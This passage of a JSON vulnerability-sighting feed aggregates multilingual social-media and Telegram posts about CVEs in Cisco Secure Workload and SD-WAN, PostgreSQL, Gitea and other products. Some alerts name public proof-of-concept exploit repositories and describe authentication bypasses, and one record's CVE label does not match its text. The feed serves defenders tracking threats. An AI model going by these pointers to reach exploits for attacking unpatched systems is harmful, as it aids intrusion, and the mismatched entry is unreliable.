\u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0443\u0433\u0440\u043e\u0437, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, CVE-2026-20223, \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0445 REST API Secure Workload \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0440\u043e\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0441\u0430\u0439\u0442\u0430.\n\n\u041e\u043d\u0430 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u043f\u0440\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u043a \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u043c \u0442\u043e\u0447\u043a\u0430\u043c REST API. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0435\u0441\u043b\u0438 \u0435\u043c\u0443 \u0443\u0434\u0430\u0441\u0442\u0441\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 API-\u0437\u0430\u043f\u0440\u043e\u0441 \u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438 \u0432\u043d\u043e\u0441\u0438\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e \u043d\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u0443\u0440\u043e\u0432\u043d\u044f\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0441\u0430\u0439\u0442\u0430.\n\nCisco \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043d\u0435\u0442, \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u041f\u041e \u0434\u043b\u044f \u0435\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0438 \u0443\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0435\u0435 \u0432 \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0438 Cisco Secure Workload SaaS.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0435\u0435 \u0433\u0440\u0443\u043f\u043f\u0430 PSIRT \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435, \u0434\u043e \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u043d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435.\n\n\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0440\u0430\u043d\u0435\u0435 \u0432 \u044d\u0442\u043e\u043c \u043c\u0435\u0441\u044f\u0446\u0435 Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u043b\u0430, \u0447\u0442\u043e \u0434\u0440\u0443\u0433\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e (CVE-2026-20182) \u0432 Catalyst SD-WAN, \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u043a\u0430\u043a 0-day, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c, \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u044f\u0442\u044c \u043b\u0435\u0442 CISA\u00a0\u0432\u044b\u044f\u0432\u0438\u043b\u0430 91\u00a0\u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Cisco, \u0448\u0435\u0441\u0442\u044c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u0433\u0440\u0443\u043f\u043f\u0430\u043c\u0438, \u0437\u0430\u043d\u0438\u043c\u0430\u044e\u0449\u0438\u043c\u0438\u0441\u044f \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c. \u0422\u0430\u043a \u0447\u0442\u043e, \u0436\u0434\u0435\u043c.", "creation_timestamp": "2026-05-22T18:00:08.000000Z"}, {"uuid": "027709f9-d2a7-4b4a-96f8-b9b4912fce8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/GithubRedTeam/85460", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20182\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a portbuster1337\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-22 21:17:26\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20182 PoC - Cisco Catalyst SD-WAN Controller / Manager Authentication Bypass (CVSS 10.0)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-22T22:00:03.000000Z"}, {"uuid": "d8fa8b94-6129-44c4-9a39-717b057c7f24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2005", "type": "seen", "source": "https://bsky.app/profile/PostgreSQL.activitypub.awakari.com.ap.brid.gy/post/3mmjvagkw2z72", "content": "Public PoC Released for 20-Year-Old PostgreSQL pgcrypto RCE Flaw \u00a7A public proof-of-concept exploit has renewed attention on CVE-2026-2005, a serious PostgreSQL vulnerability in the pgcrypto exten...\n\n#News\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-23T16:40:20.270637Z"}, {"uuid": "1bc4ff73-4e71-4954-8702-c3ae577a7601", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "published-proof-of-concept", "source": "https://t.me/thehackernews/9059", "content": "\ud83d\udea8 Critical Alert: Cisco Secure Workload Hit with CVSS 10.0 Flaw.\n\nhttps://thehackernews.com/2026/05/cisco-patches-cvss-100-secure-workload.html\n\nUnauthenticated attackers can exploit a REST API vulnerability (CVE-2026-20223) to steal sensitive data and make configuration changes across tenant boundaries with Site Admin privileges.\n\nAffects both SaaS and on-prem deployments. No workarounds.\n\nPatch immediately:\n\u2022 3.10 \u2192 3.10.8.3\n\u2022 4.0 \u2192 4.0.3.17\n\u2022 3.9 or older \u2192 Migrate now", "creation_timestamp": "2026-05-22T07:12:27.000000Z"}, {"uuid": "3e689472-1e43-4556-8394-13ed8638ca36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mmkwa6j64z2e", "content": "Top 3 CVE for last 7 days:\nCVE-2026-45584: 65 interactions\nCVE-2026-45250: 64 interactions\nCVE-2026-46333: 25 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-69: 18 interactions\nCVE-2026-20223: 3 interactions\nCVE-2026-41091: 3 interactions\n", "creation_timestamp": "2026-05-24T02:30:41.745361Z"}, {"uuid": "012b7650-2c60-4605-b73c-3b546fbb79ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2005", "type": "seen", "source": "https://gist.github.com/ichintu/359881223056c94c8d0fd97d9eb10797", "content": "CVE\u20112026\u20119082 is a highly critical SQL injection flaw in Drupal Core\u2019s database abstraction API that targets the PostgreSQL EntityQuery condition handler. The vulnerability allows unauthenticated attackers to execute arbitrary SQL commands. It was disclosed on May\u202f24\u202f2026, just a couple of hours and minutes ago. For full details, see the CVE entry () and the related CVE\u20112005 report (). Additional context is available in the article ().", "creation_timestamp": "2026-05-24T16:00:44.000000Z"}, {"uuid": "68404179-490d-4112-9401-9b92c40d84ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3mmmrecnkqz2f", "content": "~Checkpoint~\nHighlights include active exploitation of Cisco SD-WAN, Windows zero-days, and major ransomware breaches.\n-\nIOCs: CVE-2026-20182, CVE-2026-42945, YellowKey\n-\n#Ransomware #ThreatIntel #ZeroDay", "creation_timestamp": "2026-05-24T20:08:50.594497Z"}, {"uuid": "736261e2-aee5-4897-9ef4-2e269d9b3127", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "Telegram/tLTaf5zN9aUn_D8KOi_rgxptZENw0EocHmy4bQpa2VASaD8", "content": "", "creation_timestamp": "2026-05-24T09:00:04.000000Z"}, {"uuid": "abe2c058-4eab-4688-bee2-27ade19c1328", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "Telegram/sf5KhxAkcRuzAAdkzJfQq6tOcXhB3b2mycJGK75VFFg05Ws", "content": "", "creation_timestamp": "2026-05-22T09:00:04.000000Z"}, {"uuid": "c01885fe-4b19-4bb9-88c2-b3cc78c16f55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "Telegram/UQKCShk-FEN2scbg_Tj8qq81eWHuZYWmT2dYADHAMnLo0p0", "content": "", "creation_timestamp": "2026-05-22T07:00:16.000000Z"}, {"uuid": "acdf83d7-ff99-4667-be9c-f13a7b922626", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "published-proof-of-concept", "source": "Telegram/hQ1BgqlandqZtiBEN_8bc-Jqb7FATWW_NqNwwco7cLj54NM", "content": "", "creation_timestamp": "2026-05-23T03:00:04.000000Z"}, {"uuid": "7b5d1a6a-230f-4c59-a9ce-1d26e2149794", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://t.me/GithubRedTeam/85840", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20700-POC-that-ll-never-work\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a notthemystery\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-25 14:57:22\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-25T15:00:04.000000Z"}, {"uuid": "06cfb2eb-caab-4d6b-8c1a-e4dcb703c474", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2005", "type": "seen", "source": "https://bsky.app/profile/pgexperts.bsky.social/post/3mmpbqecmbj2m", "content": "The May 14 minor releases (18.4, 17.10, 16.14, 15.18, 14.23) close 11 CVEs. Three are arbitrary-code-execution paths: pgcrypto (CVE-2026-2005), multibyte text validation (CVE-2026-2006), pg_trgm (CVE-2026-2007).\n\nwww.postgresql.org/about/news/p...\n\npgexperts.com.", "creation_timestamp": "2026-05-25T20:07:14.291443Z"}, {"uuid": "2b61a61a-7749-42dc-b0ba-fff8f1e827f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2006", "type": "seen", "source": "https://bsky.app/profile/pgexperts.bsky.social/post/3mmpbqecmbj2m", "content": "The May 14 minor releases (18.4, 17.10, 16.14, 15.18, 14.23) close 11 CVEs. Three are arbitrary-code-execution paths: pgcrypto (CVE-2026-2005), multibyte text validation (CVE-2026-2006), pg_trgm (CVE-2026-2007).\n\nwww.postgresql.org/about/news/p...\n\npgexperts.com.", "creation_timestamp": "2026-05-25T20:07:14.467168Z"}, {"uuid": "5814da5a-84df-4452-8585-405104c40991", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2007", "type": "seen", "source": "https://bsky.app/profile/pgexperts.bsky.social/post/3mmpbqecmbj2m", "content": "The May 14 minor releases (18.4, 17.10, 16.14, 15.18, 14.23) close 11 CVEs. Three are arbitrary-code-execution paths: pgcrypto (CVE-2026-2005), multibyte text validation (CVE-2026-2006), pg_trgm (CVE-2026-2007).\n\nwww.postgresql.org/about/news/p...\n\npgexperts.com.", "creation_timestamp": "2026-05-25T20:07:14.643589Z"}, {"uuid": "b4a5cd38-e65d-4da4-b6fb-f5856fdde099", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3mmpbuhotqm2n", "content": "CVE-2026-20700: A controlled exploration of dyld's page-in linking and chained fixup machinery as a PAC signing oracle, in the context of CVE-2026-20700.", "creation_timestamp": "2026-05-25T20:09:32.208095Z"}, {"uuid": "75fb3e90-4487-452d-ae48-c938782c6990", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20794", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mmplzpzh4s24", "content": "\u30c1\u30c3\u30d7\u30e1\u30fc\u30ab\u30fc\u306e\u30d1\u30c3\u30c1\u706b\u66dc\u65e5\uff1a\u30a4\u30f3\u30c6\u30eb\u3068AMD\u304c\u30d1\u30c3\u30c170\u306e\u8106\u5f31\u6027\u3092\u4fee\u6b63\n\n\u30a4\u30f3\u30c6\u30eb\u306f\u30011\u4ef6\u306e\u91cd\u5927\u306a\u6b20\u9665\u30688\u4ef6\u306e\u6df1\u523b\u306a\u6b20\u9665\u3092\u542b\u3080\u300124\u4ef6\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u3092\u8aac\u660e\u3059\u308b13\u4ef6\u306e\u52e7\u544a\u3092\u516c\u958b\u3057\u305f\u3002\n\nCVE-2026-20794\uff08CVSS\u30b9\u30b3\u30a29.3\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u3053\u306e\u91cd\u5927\u306a\u30d0\u30b0\u306f\u3001VMware ESXi\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u306e\u30c7\u30fc\u30bf\u30bb\u30f3\u30bf\u30fc\u30b0\u30e9\u30d5\u30a3\u30c3\u30af\u30b9\u30c9\u30e9\u30a4\u30d0\u306b\u304a\u3051\u308b\u30d0\u30c3\u30d5\u30a1\u30aa\u30fc\u30d0\u30fc\u30d5\u30ed\u30fc\u306e\u554f\u984c\u3067\u3042\u308a\u3001\u6a29\u9650\u6607\u683c\u3084\u5834\u5408\u306b\u3088\u3063\u3066\u306f\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u60aa\u7528\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3068\u8aac\u660e\u3055\u308c\u3066\u3044\u307e\u3059\u3002\n\nIntel\u306b\u3088\u308b\u3053\u306e\u88fd\u54c1\u306e\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3067\u306f\u3001\u30b5\u30fc\u30d3\u30b9\u62d2\u5426\uff08DoS\uff09\u72b6\u614b\u3084\u3001\u5834\u5408\u306b\u3088\u3063\u3066\u306f...\n#\u30d1\u30c3\u30c1\u30c1\u30e5\u30fc\u30ba\u30c7\u30fc", "creation_timestamp": "2026-05-25T23:11:32.346574Z"}, {"uuid": "5055884c-ac95-443d-b2d7-966c72dd688c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20841", "type": "seen", "source": "https://bsky.app/profile/xenospectrum.com/post/3mmrn6z7prl26", "content": "Microsoft\u3001Windows\u306e\u30e1\u30e2\u5e33\u306b\u4f59\u8a08\u306aAI\u6a5f\u80fd\u306b\u52a0\u3048\u3001\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306e\u8106\u5f31\u6027\u307e\u3067\u4ed8\u4e0e\n\nhttps://xenospectrum.com/windows-notepad-vulnerability-cve-2026-20841-ai-markdown/", "creation_timestamp": "2026-05-26T18:37:36.809416Z"}, {"uuid": "8c6deefd-7cf4-46b0-8582-9ec07bb0a41f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/GithubRedTeam/86022", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20182\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Nxploited\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-26 18:33:30\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCisco Catalyst SD-WAN Peering Authentication Bypass\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-26T19:00:04.000000Z"}, {"uuid": "a6dbd7f0-f6a2-423e-95c8-48612beba132", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://t.me/cyberok_news/237", "content": "\ud83d\udcc2 \u041e\u0434\u0438\u043d \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u2014 \u0438 \u0442\u044b \u0430\u0434\u043c\u0438\u043d. \u041e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 Gitea\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20896 \u0432 Gitea \u2014 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u044b\u0445 Git-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432 \u2014 \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0440\u0435\u043b\u0438\u0437\u0435 1.26.3 \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0435 \u0438\u044e\u043d\u044f 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u0441\u043b\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f rz1027. CVE-\u043d\u043e\u043c\u0435\u0440 \u0431\u044b\u043b \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u043f\u043e\u0437\u0436\u0435, 3 \u0438\u044e\u043b\u044f. \n\n\ud83d\udce1 \u0421\u041a\u0418\u041f\u0410 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u043e\u043a\u043e\u043b\u043e 22 900 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432 \u0441 Gitea, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0438\u0437\u0432\u043d\u0435. \u0418\u0437 \u043d\u0438\u0445 83% \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b CVE-2026-20896. \n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u0432\u044b\u0434\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0430 \u043f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 \u0430\u0432\u0442\u043e-\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u2014 